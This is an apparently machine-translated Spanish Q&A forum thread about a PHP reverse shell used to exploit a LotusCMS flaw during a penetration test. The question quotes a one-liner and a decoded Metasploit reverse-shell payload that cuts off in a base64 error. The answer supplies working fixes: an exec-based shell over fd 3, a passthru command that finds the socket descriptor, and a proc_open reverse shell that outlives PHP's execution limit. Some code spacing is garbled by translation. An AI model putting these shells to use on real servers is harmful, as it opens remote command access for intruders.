Revertir el shell de PHP desconectándose cuando el oyente de netcat

1

Mientras realizaba una prueba de penetración en un cuadro de prueba, encontré una vulnerabilidad relacionada con LotusCMS: enlace

En lugar de confiar en Metasploit o Meterpreter para realizar este exploit, leí el código Metasploit y determiné exactamente cómo estaba explotando el parámetro dentro de la página web. Al intentar usar el código PHP en línea (con un listado de netcat en mi casilla de ataque):

sock = fsockopen ("x.x.x.x", 1234); exec ("/ bin / sh -i < & 3 > & 3 2 > & 3");

El shell se conecta al oyente netcat, pero luego se elimina instantáneamente.

¿Alguien puede explicar por qué netcat elimina la cáscara inversa?

Admitentemente mi conocimiento de stdin, stdout y stderr es inexistente? ¿Podría ser esto algo con la interrupción de la conexión?

También uso base64 en el script de shell inverso en línea anterior (no estoy seguro de si esto afecta algo).

¡Gracias de antemano!

Este es el código de la carga útil de Metasploit (descodificada desde base64):

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input
    
pregunta Sn00py 02.12.2018 - 18:02
fuente

1 respuesta

0

Está ejecutando en un servidor:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

mientras que al mismo tiempo tienes un netcat escuchando en 1234.

El primer problema que veo, el código de su servidor es:

  • conectarse a ip: puerto
  • ejecutar / bin / sh -i con entrada y salida redirigidas al fd 3 y devolver la última línea (no confunda php exec con shell / C exec ).

Ahora, si la conexión abierta tenía el fd 3, el shell se adjuntará a ese descriptor. El siguiente descriptor para abrir puede ser fd 3. Sin embargo, si ya está abierto, la nueva conexión tendrá un descriptor diferente y su shell no se conectará donde desee. Por ejemplo, el código anterior funciona para mi cuando se ejecuta php en un cli, pero no cuando php se ejecuta como un módulo de apache (ahí el zócalo es el fd 12 para mí)

Podemos usar este comando más largo para averiguar el descriptor de archivos de más alto nivel y usarlo en la redirección:

 passthru('FD='ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done'; /bin/sh -i <&$FD >&3 2>&$FD');

Sin embargo, esto tiene el inconveniente de que el shell solo puede redireccionar los descriptores 1-9 así que con el descriptor 12, "< & 12" en realidad estaría intentando redirigir el descriptor 1, no 12. Y al ser un socket, no podemos abrir un nuevo descriptor a / dev / self / fd / 12 ( No existe tal dispositivo o dirección)

Por lo tanto, en lugar de adjuntar el filedescriptor al script de shell, es mucho más fácil hacerlo desde el lado de php usando una función diferente para ejecutar el comando:

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Curiosamente, el shell permanece abierto incluso después de que finalice el script adjunto, por lo que php max_execution_time no es un problema.

    
respondido por el Ángel 02.12.2018 - 23:34
fuente

Lea otras preguntas en las etiquetas